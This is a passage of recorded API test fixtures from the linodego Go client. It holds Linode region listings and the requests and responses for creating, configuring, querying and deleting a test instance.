"core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 14:15:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-wo-disk-1if500u2j3qw","firewall_id":1136024,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 66613625, "label": "go-test-ins-wo-disk-1if500u2j3qw", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["170.187.250.246"], "ipv6": "1234::5678/128", "image": null, "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "fa5f69c51393542e0a4ef497f0501dd6dd56514a", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 14:15:48 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "5" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-vj2c3k9e509n","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66613625/configs method: POST response: body: '{"id": 69930025, "label": "go-test-conf-vj2c3k9e509n", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 14:15:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66613625/transfer method: GET response: body: '{"used": 0, "quota": 1854, "billable": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "41" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 14:15:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/66613625 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 05 Nov 2024 14:15:52 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestInstance_Migrate.yaml000066400000000000000000001176721474652371000315420ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], 